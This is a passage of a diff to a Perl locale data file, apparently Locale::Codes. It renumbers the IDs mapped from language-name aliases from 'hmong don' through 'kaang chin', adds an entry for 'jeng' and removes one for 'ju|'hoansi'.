    q(hmong don) => [
-      q(2779),
+      q(2777),
       q(0),
       ],
    q(hmong njua) => [
-      q(2802),
+      q(2800),
       q(0),
       ],
    q(hmong shua) => [
-      q(2796),
+      q(2794),
       q(0),
       ],
    q(hmong-mien languages) => [
-      q(0510),
+      q(0509),
       q(0),
       ],
    q(hmwaveke) => [
-      q(4508),
+      q(4507),
       q(0),
       ],
    q(ho) => [
-      q(2809),
+      q(2807),
       q(0),
       ],
    q(ho chi minh city sign language) => [
-      q(2820),
+      q(2818),
       q(0),
       ],
    q(ho-chunk) => [
-      q(7124),
+      q(7122),
       q(0),
       ],
    q(hoava) => [
-      q(2807),
+      q(2805),
       q(0),
       ],
    q(hobyot) => [
-      q(2812),
+      q(2810),
       q(0),
       ],
    q(hoia hoia) => [
-      q(2747),
+      q(2745),
       q(0),
       ],
    q(hokan languages) => [
-      q(0511),
+      q(0510),
       q(0),
       ],
    q(holikachuk) => [
-      q(2813),
+      q(2811),
       q(0),
       ],
    q(holiya) => [
-      q(2824),
+      q(2822),
       q(0),
       ],
    q(holma) => [
-      q(2810),
+      q(2808),
       q(0),
       ],
    q(holoholo) => [
-      q(2817),
+      q(2815),
       q(0),
       ],
    q(holu) => [
-      q(2815),
+      q(2813),
       q(0),
       ],
    q(homa) => [
-      q(2816),
+      q(2814),
       q(0),
       ],
    q(honduras sign language) => [
-      q(2737),
+      q(2735),
       q(0),
       ],
    q(hone) => [
-      q(3150),
+      q(3148),
       q(0),
       ],
    q(hong kong sign language) => [
-      q(2767),
+      q(2765),
       q(0),
       ],
    q(honi) => [
-      q(2823),
+      q(2821),
       q(0),
       ],
    q(hopi) => [
-      q(2818),
+      q(2816),
       q(0),
       ],
    q(horned miao) => [
-      q(2832),
+      q(2830),
       q(0),
       ],
    q(horo) => [
-      q(2819),
+      q(2817),
       q(0),
       ],
    q(horom) => [
-      q(2811),
+      q(2809),
       q(0),
       ],
    q(horpa) => [
-      q(2282),
+      q(2281),
       q(0),
       ],
    q(hote) => [
-      q(2821),
+      q(2819),
       q(0),
       ],
    q(hoti) => [
-      q(2844),
+      q(2842),
       q(0),
       ],
    q(hovongan) => [
-      q(2822),
+      q(2820),
       q(0),
       ],
    q(hoyahoya) => [
-      q(2749),
+      q(2747),
       q(0),
       ],
    q(hozo) => [
-      q(2825),
+      q(2823),
       q(0),
       ],
    q(hpon) => [
-      q(2826),
+      q(2824),
       q(0),
       ],
    q(hrangkhol) => [
-      q(2828),
+      q(2826),
       q(0),
       ],
    q(hre) => [
-      q(2830),
+      q(2828),
       q(0),
       ],
    q(hruso) => [
-      q(2836),
+      q(2834),
       q(0),
       ],
    q(hu) => [
-      q(2861),
+      q(2859),
       q(0),
       ],
    q(hua) => [
-      q(2850),
+      q(2848),
       q(1),
       ],
    q(huachipaeri) => [
-      q(2854),
+      q(2852),
       q(0),
       ],
    q(huallaga huanuco quechua) => [
-      q(5671),
+      q(5669),
       q(0),
       ],
    q(huamalies-dos de mayo huanuco quechua) => [
-      q(5694),
+      q(5692),
       q(0),
       ],
    q(huambisa) => [
-      q(2849),
+      q(2847),
       q(0),
       ],
    q(huarijio) => [
-      q(6966),
+      q(6965),
       q(0),
       ],
    q(huastec) => [
-      q(2864),
+      q(2862),
       q(0),
       ],
    q(huaulu) => [
-      q(2851),
+      q(2849),
       q(0),
       ],
    q(huautla mazatec) => [
-      q(4115),
+      q(4114),
       q(0),
       ],
    q(huaxcaleca nahuatl) => [
-      q(4867),
+      q(4865),
       q(0),
       ],
    q(huaylas ancash quechua) => [
-      q(5708),
+      q(5706),
       q(0),
       ],
    q(huaylla wanca quechua) => [
-      q(5703),
+      q(5701),
       q(0),
       ],
    q(huba) => [
-      q(2730),
+      q(2728),
       q(0),
       ],
    q(huehuetla tepehua) => [
@@ -34671,131 +34633,131 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(huichol) => [
-      q(2735),
+      q(2733),
       q(0),
       ],
    q(huilliche) => [
-      q(2855),
+      q(2853),
       q(0),
       ],
    q(huitepec mixtec) => [
-      q(4658),
+      q(4657),
       q(0),
       ],
    q(huizhou chinese) => [
-      q(1927),
+      q(1926),
       q(0),
       ],
    q(hukumina) => [
-      q(2868),
+      q(2866),
       q(0),
       ],
    q(hula) => [
-      q(2859),
+      q(2857),
       q(0),
       ],
    q(hulaula) => [
-      q(2870),
+      q(2868),
       q(0),
       ],
    q(huli) => [
-      q(2856),
+      q(2854),
       q(0),
       ],
    q(hulung) => [
-      q(2858),
+      q(2856),
       q(0),
       ],
    q(humburi senni songhay) => [
-      q(2775),
+      q(2773),
       q(0),
       ],
    q(humene) => [
-      q(2853),
+      q(2851),
       q(0),
       ],
    q(humla) => [
-      q(2865),
+      q(2863),
       q(0),
       ],
    q(hun-saare) => [
-      q(2167),
+      q(2166),
       q(0),
       ],
    q(hunde) => [
-      q(2765),
+      q(2763),
       q(0),
       ],
    q(hung) => [
-      q(2806),
+      q(2804),
       q(0),
       ],
    q(hungana) => [
-      q(2860),
+      q(2858),
       q(0),
       ],
    q(hungarian) => [
-      q(0184),
+      q(0183),
       q(0),
       ],
    q(hungarian sign language) => [
-      q(2840),
+      q(2838),
       q(0),
       ],
    q(hungworo) => [
-      q(4727),
+      q(4726),
       q(1),
       ],
    q(hunjara-kaina ke) => [
-      q(2766),
+      q(2764),
       q(0),
       ],
    q(hunnic) => [
-      q(7338),
+      q(7335),
       q(0),
       ],
    q(hunsrik) => [
-      q(2838),
+      q(2836),
       q(0),
       ],
    q(hunzib) => [
-      q(2871),
+      q(2869),
       q(0),
       ],
    q(hupa) => [
-      q(0185),
+      q(0184),
       q(0),
       ],
    q(hupde) => [
-      q(3157),
+      q(3155),
       q(0),
       ],
    q(hupla) => [
-      q(2721),
+      q(2719),
       q(0),
       ],
    q(hurrian) => [
-      q(7343),
+      q(7340),
       q(0),
       ],
    q(hutterisch) => [
-      q(2476),
+      q(2475),
       q(1),
       ],
    q(hutterite german) => [
-      q(2476),
+      q(2475),
       q(0),
       ],
    q(hwana) => [
-      q(2879),
+      q(2877),
       q(0),
       ],
    q(hya) => [
-      q(2880),
+      q(2878),
       q(0),
       ],
    q(hyam) => [
-      q(3040),
+      q(3037),
       q(0),
       ],
    q(i'saka) => [
@@ -34803,19 +34765,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(i-wak) => [
-      q(3027),
+      q(3024),
       q(0),
       ],
    q(iaai) => [
-      q(2881),
+      q(2879),
       q(0),
       ],
    q(iamalele) => [
-      q(7681),
+      q(7678),
       q(0),
       ],
    q(iatmul) => [
-      q(2882),
+      q(2880),
       q(0),
       ],
    q(iau) => [
@@ -34827,187 +34789,187 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ibaloi) => [
-      q(2889),
+      q(2886),
       q(0),
       ],
    q(iban) => [
-      q(0186),
+      q(0185),
       q(0),
       ],
    q(ibanag) => [
-      q(2887),
+      q(2885),
       q(0),
       ],
    q(ibani) => [
-      q(2894),
+      q(2891),
       q(0),
       ],
    q(ibatan) => [
-      q(3025),
+      q(3022),
       q(0),
       ],
    q(iberian) => [
-      q(7345),
+      q(7342),
       q(0),
       ],
    q(ibibio) => [
-      q(2884),
+      q(2882),
       q(0),
       ],
    q(ibino) => [
-      q(2891),
+      q(2888),
       q(0),
       ],
    q(ibu) => [
-      q(2893),
+      q(2890),
       q(0),
       ],
    q(ibuoro) => [
-      q(2892),
+      q(2889),
       q(0),
       ],
    q(icelandic) => [
-      q(0188),
+      q(0187),
       q(0),
       ],
    q(icelandic sign language) => [
-      q(2897),
+      q(2894),
       q(0),
       ],
    q(iceve-maci) => [
-      q(1118),
+      q(1117),
       q(0),
       ],
    q(ida'an) => [
-      q(1957),
+      q(1956),
       q(0),
       ],
    q(idakho-isukha-tiriki) => [
-      q(2899),
+      q(2896),
       q(0),
       ],
    q(idate) => [
-      q(2907),
+      q(2904),
       q(0),
       ],
    q(idere) => [
-      q(2903),
+      q(2900),
       q(0),
       ],
    q(idesa) => [
-      q(2906),
+      q(2903),
       q(0),
       ],
    q(idi) => [
-      q(2904),
+      q(2901),
       q(0),
       ],
    q(ido) => [
-      q(0189),
+      q(0188),
       q(0),
       ],
    q(idoma) => [
-      q(2908),
+      q(2905),
       q(0),
       ],
    q(idon) => [
-      q(2901),
+      q(2898),
       q(0),
       ],
    q(idu-mishmi) => [
-      q(1773),
+      q(1772),
       q(0),
       ],
    q(iduna) => [
-      q(6990),
+      q(6989),
       q(0),
       ],
    q(ife) => [
-      q(2911),
+      q(2908),
       q(0),
       ],
    q(ifo) => [
-      q(2912),
+      q(2909),
       q(0),
       ],
    q(igala) => [
-      q(2920),
+      q(2917),
       q(0),
       ],
    q(igana) => [
-      q(2919),
+      q(2916),
       q(0),
       ],
    q(igbo) => [
-      q(0187),
+      q(0186),
       q(0),
       ],
    q(igede) => [
-      q(2918),
+      q(2915),
       q(0),
       ],
    q(ignaciano) => [
-      q(2922),
+      q(2919),
       q(0),
       ],
    q(igo) => [
-      q(0684),
+      q(0683),
       q(0),
       ],
    q(iguta) => [
-      q(4725),
+      q(4724),
       q(0),
       ],
    q(igwe) => [
-      q(2925),
+      q(2922),
       q(0),
       ],
    q(iha) => [
-      q(2928),
+      q(2925),
       q(0),
       ],
    q(iha based pidgin) => [
-      q(2926),
+      q(2923),
       q(0),
       ],
    q(ihievbe) => [
-      q(2927),
+      q(2924),
       q(0),
       ],
    q(ija-zuba) => [
-      q(6992),
+      q(6991),
       q(0),
       ],
    q(ijo languages) => [
-      q(0191),
+      q(0190),
       q(0),
       ],
    q(ik) => [
-      q(2947),
+      q(2944),
       q(0),
       ],
    q(ika) => [
-      q(2938),
+      q(2935),
       q(0),
       ],
    q(ikaranggal) => [
-      q(2942),
+      q(2939),
       q(0),
       ],
    q(ikizu) => [
-      q(2948),
+      q(2945),
       q(0),
       ],
    q(iko) => [
-      q(2937),
+      q(2934),
       q(0),
       ],
    q(ikobi) => [
-      q(4195),
+      q(4194),
       q(0),
       ],
    q(ikoma-nata-isenye) => [
-      q(5089),
+      q(5085),
       q(0),
       ],
    q(ikpeng) => [
@@ -35015,79 +34977,79 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(ikpeshi) => [
-      q(2941),
+      q(2938),
       q(0),
       ],
    q(ikposo) => [
-      q(3533),
+      q(3532),
       q(0),
       ],
    q(iku-gora-ankwa) => [
-      q(2945),
+      q(2942),
       q(0),
       ],
    q(ikulu) => [
-      q(2939),
+      q(2936),
       q(0),
       ],
    q(ikwere) => [
-      q(2946),
+      q(2943),
       q(0),
       ],
    q(ikwo) => [
-      q(2984),
+      q(2981),
       q(0),
       ],
    q(ila) => [
-      q(2950),
+      q(2947),
       q(0),
       ],
    q(ile ape) => [
-      q(2949),
+      q(2946),
       q(0),
       ],
    q(ili turki) => [
-      q(2952),
+      q(2949),
       q(0),
       ],
    q(ili'uun) => [
-      q(2957),
+      q(2954),
       q(0),
       ],
    q(ilianen manobo) => [
-      q(4127),
+      q(4126),
       q(0),
       ],
    q(illyrian) => [
-      q(7347),
+      q(7344),
       q(0),
       ],
    q(iloko) => [
-      q(0194),
+      q(0193),
       q(0),
       ],
    q(ilongot) => [
-      q(2953),
+      q(2950),
       q(0),
       ],
    q(ilue) => [
-      q(2958),
+      q(2955),
       q(0),
       ],
    q(ilwana) => [
-      q(4369),
+      q(4368),
       q(0),
       ],
    q(imbabura highland quichua) => [
-      q(5695),
+      q(5693),
       q(0),
       ],
    q(imbongu) => [
-      q(2963),
+      q(2960),
       q(0),
       ],
    q(imonda) => [
-      q(2962),
+      q(2959),
       q(0),
       ],
    q(imperial aramaic (700-300 bce)) => [
@@ -35095,95 +35057,95 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(imroing) => [
-      q(2964),
+      q(2961),
       q(0),
       ],
    q(inabaknon) => [
-      q(0582),
+      q(0581),
       q(0),
       ],
    q(inapang) => [
-      q(4706),
+      q(4705),
       q(0),
       ],
    q(inapari) => [
-      q(2974),
+      q(2971),
       q(0),
       ],
    q(inari sami) => [
-      q(0392),
+      q(0391),
       q(0),
       ],
    q(indian sign language) => [
-      q(2975),
+      q(2972),
       q(0),
       ],
    q(indic languages) => [
-      q(0196),
+      q(0195),
       q(0),
       ],
    q(indo-european languages) => [
-      q(0198),
+      q(0197),
       q(0),
       ],
    q(indo-iranian languages) => [
-      q(0513),
+      q(0512),
       q(0),
       ],
    q(indo-portuguese) => [
-      q(2900),
+      q(2897),
       q(0),
       ],
    q(indonesian) => [
-      q(0197),
+      q(0196),
       q(0),
       ],
    q(indonesian bajau) => [
-      q(1101),
+      q(1100),
       q(0),
       ],
    q(indonesian sign language) => [
-      q(2970),
+      q(2967),
       q(0),
       ],
    q(indri) => [
-      q(2905),
+      q(2902),
       q(0),
       ],
    q(indus kohistani) => [
-      q(4616),
+      q(4615),
       q(0),
       ],
    q(indus valley language) => [
-      q(7351),
+      q(7348),
       q(0),
       ],
    q(inebu one) => [
-      q(5212),
+      q(5208),
       q(0),
       ],
    q(ineseno) => [
-      q(2977),
+      q(2974),
       q(0),
       ],
    q(inga) => [
-      q(2967),
+      q(2964),
       q(0),
       ],
    q(ingrian) => [
-      q(3036),
+      q(3033),
       q(0),
       ],
    q(ingush) => [
-      q(0199),
+      q(0198),
       q(0),
       ],
    q(inlaod itneg) => [
-      q(3011),
+      q(3008),
       q(0),
       ],
    q(inoke-yate) => [
-      q(2973),
+      q(2970),
       q(0),
       ],
    q(inonhan) => [
@@ -35191,219 +35153,219 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(inor) => [
-      q(2978),
+      q(2975),
       q(0),
       ],
    q(inpui naga) => [
-      q(4920),
+      q(4918),
       q(0),
       ],
    q(interglossa) => [
-      q(2924),
+      q(2921),
       q(0),
       ],
    q(interlingua (international auxiliary language association)) => [
-      q(0195),
+      q(0194),
       q(0),
       ],
    q(interlingue) => [
-      q(0193),
+      q(0192),
       q(0),
       ],
    q(international sign) => [
-      q(2956),
+      q(2953),
       q(0),
       ],
    q(intha) => [
-      q(2976),
+      q(2973),
       q(0),
       ],
    q(inuinnaqtun) => [
-      q(2944),
+      q(2941),
       q(0),
       ],
    q(inuit sign language) => [
-      q(2943),
+      q(2940),
       q(0),
       ],
    q(inuktitut) => [
-      q(0192),
+      q(0191),
       q(0),
       ],
    q(inupiaq) => [
-      q(0200),
+      q(0199),
       q(0),
       ],
    q(iowa-oto) => [
-      q(2980),
+      q(2977),
       q(0),
       ],
    q(ipalapa amuzgo) => [
-      q(1018),
+      q(1017),
       q(0),
       ],
    q(ipiko) => [
-      q(2982),
+      q(2979),
       q(0),
       ],
    q(ipili) => [
-      q(2981),
+      q(2978),
       q(0),
       ],
    q(ipulo) => [
-      q(0903),
+      q(0902),
       q(0),
       ],
    q(iquito) => [
-      q(2983),
+      q(2980),
       q(0),
       ],
    q(ir) => [
-      q(2990),
+      q(2987),
       q(0),
       ],
    q(iranian languages) => [
-      q(0201),
+      q(0200),
       q(0),
       ],
    q(iranian persian) => [
-      q(5414),
+      q(5410),
       q(0),
       ],
    q(irantxe) => [
-      q(2989),
+      q(2986),
       q(0),
       ],
    q(iranun (malaysia)) => [
-      q(2954),
+      q(2951),
       q(0),
       ],
    q(iranun (philippines)) => [
-      q(2955),
+      q(2952),
       q(0),
       ],
    q(iraqw) => [
-      q(2988),
+      q(2985),
       q(0),
       ],
    q(irarutu) => [
-      q(2986),
+      q(2983),
       q(0),
       ],
    q(iraya) => [
-      q(2993),
+      q(2990),
       q(0),
       ],
    q(iresim) => [
-      q(2985),
+      q(2982),
       q(0),
       ],
    q(irigwe) => [
-      q(2987),
+      q(2984),
       q(0),
       ],
    q(irish) => [
-      q(0155),
+      q(0154),
       q(0),
       ],
    q(irish sign language) => [
-      q(2998),
+      q(2995),
       q(0),
       ],
    q(irish, middle (900-1200)) => [
-      q(0279),
+      q(0278),
       q(0),
       ],
    q(irish, old (to 900)) => [
-      q(0378),
+      q(0377),
       q(0),
       ],
    q(iroquoian languages) => [
-      q(0202),
+      q(0201),
       q(0),
       ],
    q(irula) => [
-      q(2991),
+      q(2988),
       q(0),
       ],
    q(isabi) => [
-      q(2994),
+      q(2991),
       q(0),
       ],
    q(isanzu) => [
-      q(3003),
+      q(3000),
       q(0),
       ],
    q(isarog agta) => [
-      q(0663),
+      q(0662),
       q(0),
       ],
    q(isconahua) => [
-      q(2995),
+      q(2992),
       q(0),
       ],
    q(isebe) => [
-      q(2923),
+      q(2920),
       q(0),
       ],
    q(isekiri) => [
-      q(3017),
+      q(3014),
       q(0),
       ],
    q(ishkashimi) => [
-      q(3001),
+      q(2998),
       q(0),
       ],
    q(isinai) => [
-      q(2972),
+      q(2969),
       q(0),
       ],
    q(isirawa) => [
-      q(6207),
+      q(6208),
       q(0),
       ],
    q(island carib) => [
-      q(1840),
+      q(1839),
       q(0),
       ],
    q(islander creole english) => [
-      q(2898),
+      q(2895),
       q(0),
       ],
    q(isnag) => [
-      q(2996),
+      q(2993),
       q(0),
       ],
    q(isoko) => [
-      q(3004),
+      q(3001),
       q(0),
       ],
    q(israeli sign language) => [
-      q(3005),
+      q(3002),
       q(0),
       ],
    q(isthmus mixe) => [
-      q(4306),
+      q(4305),
       q(0),
       ],
    q(isthmus zapotec) => [
-      q(7798),
+      q(7795),
       q(0),
       ],
    q(isthmus-cosoleacaque nahuatl) => [
-      q(4862),
+      q(4860),
       q(0),
       ],
    q(isthmus-mecayapan nahuatl) => [
-      q(4873),
+      q(4871),
       q(0),
       ],
    q(isthmus-pajapan nahuatl) => [
-      q(4866),
+      q(4864),
       q(0),
       ],
    q(istriot) => [
-      q(3006),
+      q(3003),
       q(0),
       ],
    q(istro romanian) => [
@@ -35415,111 +35377,111 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(isu (menchum division)) => [
-      q(3007),
+      q(3004),
       q(0),
       ],
    q(italian) => [
-      q(0203),
+      q(0202),
       q(0),
       ],
    q(italian sign language) => [
-      q(2997),
+      q(2994),
       q(0),
       ],
    q(italic languages) => [
-      q(0514),
+      q(0513),
       q(0),
       ],
    q(itawit) => [
-      q(3019),
+      q(3016),
       q(0),
       ],
    q(itelmen) => [
-      q(3013),
+      q(3010),
       q(0),
       ],
    q(itene) => [
-      q(3010),
+      q(3007),
       q(0),
       ],
    q(iteri) => [
-      q(3016),
+      q(3013),
       q(0),
       ],
    q(itik) => [
-      q(3021),
+      q(3018),
       q(0),
       ],
    q(ito) => [
-      q(3020),
+      q(3017),
       q(0),
       ],
    q(itonama) => [
-      q(3015),
+      q(3012),
       q(0),
       ],
    q(itu mbon uzo) => [
-      q(3014),
+      q(3011),
       q(0),
       ],
    q(itundujia mixtec) => [
-      q(4149),
+      q(4148),
       q(0),
       ],
    q(itza) => [
-      q(3023),
+      q(3020),
       q(0),
       ],
    q(iu mien) => [
-      q(3024),
+      q(3021),
       q(0),
       ],
    q(ivatan) => [
-      q(3026),
+      q(3023),
       q(0),
       ],
    q(ivbie north-okpela-arhe) => [
-      q(0915),
+      q(0914),
       q(0),
       ],
    q(iwaidja) => [
-      q(2885),
+      q(2883),
       q(0),
       ],
    q(iwal) => [
-      q(3194),
+      q(3192),
       q(0),
       ],
    q(iwam) => [
-      q(3028),
+      q(3025),
       q(0),
       ],
    q(iwur) => [
-      q(3029),
+      q(3026),
       q(0),
       ],
    q(ixcatec) => [
-      q(3031),
+      q(3028),
       q(0),
       ],
    q(ixcatlan mazatec) => [
-      q(4694),
+      q(4693),
       q(0),
       ],
    q(ixil) => [
-      q(3032),
+      q(3029),
       q(0),
       ],
    q(ixtayutla mixtec) => [
-      q(7012),
+      q(7011),
       q(0),
       ],
    q(ixtenco otomi) => [
-      q(5328),
+      q(5324),
       q(0),
       ],
    q(iyayu) => [
-      q(3033),
+      q(3030),
       q(0),
       ],
    q(iyive) => [
@@ -35527,203 +35489,203 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(iyo) => [
-      q(4754),
+      q(4753),
       q(0),
       ],
    q(iyo'wujwa chorote) => [
-      q(1852),
+      q(1851),
       q(0),
       ],
    q(iyojwa'ja chorote) => [
-      q(1855),
+      q(1854),
       q(0),
       ],
    q(izere) => [
-      q(3037),
+      q(3034),
       q(0),
       ],
    q(izii) => [
-      q(3038),
+      q(3035),
       q(0),
       ],
    q(izon) => [
-      q(2931),
+      q(2928),
       q(0),
       ],
    q(izora) => [
-      q(1668),
+      q(1667),
       q(0),
       ],
    q(jabuti) => [
-      q(3065),
+      q(3062),
       q(0),
       ],
    q(jad) => [
-      q(3070),
+      q(3067),
       q(0),
       ],
    q(jadgali) => [
-      q(3071),
+      q(3068),
       q(0),
       ],
    q(jah hut) => [
-      q(3045),
+      q(3042),
       q(0),
       ],
    q(jahanka) => [
-      q(3042),
+      q(3039),
       q(0),
       ],
    q(jair awyu) => [
-      q(0982),
+      q(0981),
       q(0),
       ],
    q(jaitmatang) => [
-      q(7354),
+      q(7351),
       q(0),
       ],
    q(jakalteko) => [
-      q(3041),
+      q(3038),
       q(1),
       ],
    q(jakati) => [
-      q(3054),
+      q(3051),
       q(0),
       ],
    q(jakun) => [
-      q(3047),
+      q(3044),
       q(0),
       ],
    q(jalapa de diaz mazatec) => [
-      q(4111),
+      q(4110),
       q(0),
       ],
    q(jalkunan) => [
-      q(1577),
+      q(1576),
       q(0),
       ],
    q(jamaican country sign language) => [
-      q(3068),
+      q(3065),
       q(0),
       ],
    q(jamaican creole english) => [
-      q(3049),
+      q(3046),
       q(0),
       ],
    q(jamaican sign language) => [
-      q(3114),
+      q(3112),
       q(0),
       ],
    q(jamamadi) => [
-      q(3039),
+      q(3036),
       q(0),
       ],
    q(jambi malay) => [
-      q(3056),
+      q(3053),
       q(0),
       ],
    q(jamiltepec mixtec) => [
-      q(4659),
+      q(4658),
       q(0),
       ],
    q(jamsay dogon) => [
-      q(2061),
+      q(2060),
       q(0),
       ],
    q(jandai) => [
-      q(3050),
+      q(3047),
       q(0),
       ],
    q(jandavra) => [
-      q(3127),
+      q(3125),
       q(0),
       ],
    q(jangkang) => [
-      q(2063),
+      q(2062),
       q(0),
       ],
    q(jangshung) => [
-      q(3126),
+      q(3124),
       q(0),
       ],
    q(janji) => [
-      q(3129),
+      q(3127),
       q(0),
       ],
    q(japanese) => [
-      q(0206),
+      q(0205),
       q(0),
       ],
    q(japanese (family)) => [
-      q(0515),
+      q(0514),
       q(0),
       ],
    q(japanese sign language) => [
-      q(3145),
+      q(3143),
       q(0),
       ],
    q(japreria) => [
-      q(3144),
+      q(3142),
       q(0),
       ],
    q(jaqaru) => [
-      q(3140),
+      q(3138),
       q(0),
       ],
    q(jara) => [
-      q(3044),
+      q(3041),
       q(0),
       ],
    q(jarai) => [
-      q(3141),
+      q(3139),
       q(0),
       ],
    q(jarawa (india)) => [
-      q(0805),
+      q(0804),
       q(0),
       ],
    q(jaru) => [
-      q(1977),
+      q(1976),
       q(0),
       ],
    q(jauja wanca quechua) => [
-      q(5724),
+      q(5722),
       q(0),
       ],
    q(jaunsari) => [
-      q(3132),
+      q(3130),
       q(0),
       ],
    q(javanese) => [
-      q(0204),
+      q(0203),
       q(0),
       ],
    q(javindo) => [
-      q(3164),
+      q(3162),
       q(0),
       ],
    q(jawe) => [
-      q(3058),
+      q(3055),
       q(0),
       ],
    q(jaya) => [
-      q(3169),
+      q(3167),
       q(0),
       ],
    q(jebero) => [
-      q(3073),
+      q(3070),
       q(0),
       ],
    q(jeh) => [
-      q(3075),
+      q(3073),
       q(0),
       ],
    q(jehai) => [
-      q(3087),
+      q(3085),
       q(0),
       ],
    q(jejueo) => [
-      q(3105),
+      q(3103),
       q(0),
       ],
    q(jemez) => [
@@ -35731,27 +35693,31 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(jenaama bozo) => [
-      q(1616),
+      q(1615),
+      q(0),
+      ],
+   q(jeng) => [
+      q(3072),
       q(0),
       ],
    q(jennu kurumba) => [
-      q(7519),
+      q(7516),
       q(0),
       ],
    q(jere) => [
-      q(3080),
+      q(3078),
       q(0),
       ],
    q(jeri kuo) => [
-      q(3077),
+      q(3075),
       q(0),
       ],
    q(jerriais) => [
-      q(5048),
+      q(5044),
       q(0),
       ],
    q(jerung) => [
-      q(3074),
+      q(3071),
       q(0),
       ],
    q(jewish babylonian aramaic (ca. 200-1200 ce)) => [
@@ -35759,127 +35725,127 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(jewish palestinian aramaic) => [
-      q(3139),
+      q(3137),
       q(0),
       ],
    q(jhankot sign language) => [
-      q(3088),
+      q(3086),
       q(0),
       ],
    q(jiamao) => [
-      q(3099),
+      q(3097),
       q(0),
       ],
    q(jiarong) => [
-      q(3167),
+      q(3165),
       q(0),
       ],
    q(jiba) => [
-      q(3156),
+      q(3154),
       q(0),
       ],
    q(jibu) => [
-      q(3090),
+      q(3088),
       q(0),
       ],
    q(jicarilla apache) => [
-      q(0843),
+      q(0842),
       q(0),
       ],
    q(jiiddu) => [
-      q(3096),
+      q(3094),
       q(0),
       ],
    q(jilbe) => [
-      q(3093),
+      q(3091),
       q(0),
       ],
    q(jilim) => [
-      q(3097),
+      q(3095),
       q(0),
       ],
    q(jimi (cameroon)) => [
-      q(3098),
+      q(3096),
       q(0),
       ],
    q(jimi (nigeria)) => [
-      q(3119),
+      q(3117),
       q(0),
       ],
    q(jina) => [
-      q(3089),
+      q(3087),
       q(0),
       ],
    q(jingpho) => [
-      q(0211),
+      q(0210),
       q(1),
       ],
    q(jinyu chinese) => [
-      q(1751),
+      q(1750),
       q(0),
       ],
    q(jiongnai bunu) => [
-      q(5544),
+      q(5540),
       q(0),
       ],
    q(jirel) => [
-      q(3153),
+      q(3151),
       q(0),
       ],
    q(jiru) => [
-      q(3142),
+      q(3140),
       q(0),
       ],
    q(jita) => [
-      q(3101),
+      q(3099),
       q(0),
       ],
    q(jju) => [
-      q(3176),
+      q(3174),
       q(0),
       ],
    q(joba) => [
-      q(3133),
+      q(3131),
       q(0),
       ],
    q(jofotek-bromnya) => [
-      q(3064),
+      q(3061),
       q(0),
       ],
    q(jogi) => [
-      q(3135),
+      q(3133),
       q(0),
       ],
    q(jola-fonyi) => [
-      q(2201),
+      q(2200),
       q(0),
       ],
    q(jola-kasa) => [
-      q(1870),
+      q(1869),
       q(0),
       ],
    q(jonkor bourmataguil) => [
-      q(3082),
+      q(3080),
       q(0),
       ],
    q(jora) => [
-      q(3136),
+      q(3134),
       q(0),
       ],
    q(jordanian sign language) => [
-      q(3137),
+      q(3135),
       q(0),
       ],
    q(jorto) => [
-      q(3143),
+      q(3141),
       q(0),
       ],
    q(jowulu) => [
-      q(3138),
+      q(3136),
       q(0),
       ],
    q(ju) => [
-      q(3161),
+      q(3159),
       q(0),
       ],
    q(ju/'hoan) => [
@@ -35887,51 +35853,51 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(juang) => [
-      q(3155),
+      q(3153),
       q(0),
       ],
    q(judeo-arabic) => [
-      q(0208),
+      q(0207),
       q(0),
       ],
    q(judeo-berber) => [
-      q(3059),
+      q(3056),
       q(0),
       ],
    q(judeo-georgian) => [
-      q(3084),
+      q(3082),
       q(0),
       ],
    q(judeo-iraqi arabic) => [
-      q(7628),
+      q(7625),
       q(0),
       ],
    q(judeo-italian) => [
-      q(3012),
+      q(3009),
       q(0),
       ],
    q(judeo-moroccan arabic) => [
-      q(0720),
+      q(0719),
       q(0),
       ],
    q(judeo-persian) => [
-      q(0207),
+      q(0206),
       q(0),
       ],
    q(judeo-tat) => [
-      q(3072),
+      q(3069),
       q(0),
       ],
    q(judeo-tripolitanian arabic) => [
-      q(7750),
+      q(7747),
       q(0),
       ],
    q(judeo-tunisian arabic) => [
-      q(0719),
+      q(0718),
       q(0),
       ],
    q(judeo-yemeni arabic) => [
-      q(3168),
+      q(3166),
       q(0),
       ],
    q(juhoan) => [
@@ -35939,75 +35905,71 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(jukun takum) => [
-      q(3066),
+      q(3063),
       q(0),
       ],
    q(juma) => [
-      q(3146),
+      q(3144),
       q(0),
       ],
    q(jumjum) => [
-      q(3154),
+      q(3152),
       q(0),
       ],
    q(jumla sign language) => [
-      q(3159),
+      q(3157),
       q(0),
       ],
    q(jumli) => [
-      q(3120),
+      q(3118),
       q(0),
       ],
    q(jungle inga) => [
-      q(2969),
+      q(2966),
       q(0),
       ],
    q(juquila mixe) => [
-      q(4656),
+      q(4655),
       q(0),
       ],
    q(jur modo) => [
-      q(1134),
+      q(1133),
       q(0),
       ],
    q(juray) => [
-      q(3163),
+      q(3161),
       q(0),
       ],
    q(jurchen) => [
-      q(3148),
+      q(3146),
       q(0),
       ],
    q(juruna) => [
-      q(3158),
+      q(3156),
       q(0),
       ],
    q(jutish) => [
-      q(3160),
+      q(3158),
       q(0),
       ],
    q(juwal) => [
-      q(4619),
+      q(4618),
       q(0),
       ],
    q(juxtlahuaca mixtec) => [
-      q(7005),
+      q(7004),
       q(0),
       ],
-   q(ju|'hoansi) => [
-      q(3639),
-      q(2),
-      ],
    q(jwira-pepesa) => [
-      q(3166),
+      q(3164),
       q(0),
       ],
    q(k'iche') => [
-      q(5672),
+      q(5670),
       q(0),
       ],
    q(kaamba) => [
-      q(7373),
+      q(7370),
       q(0),
       ],
    q(kaan) => [
@@ -36015,19 +35977,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(kaang chin) => [
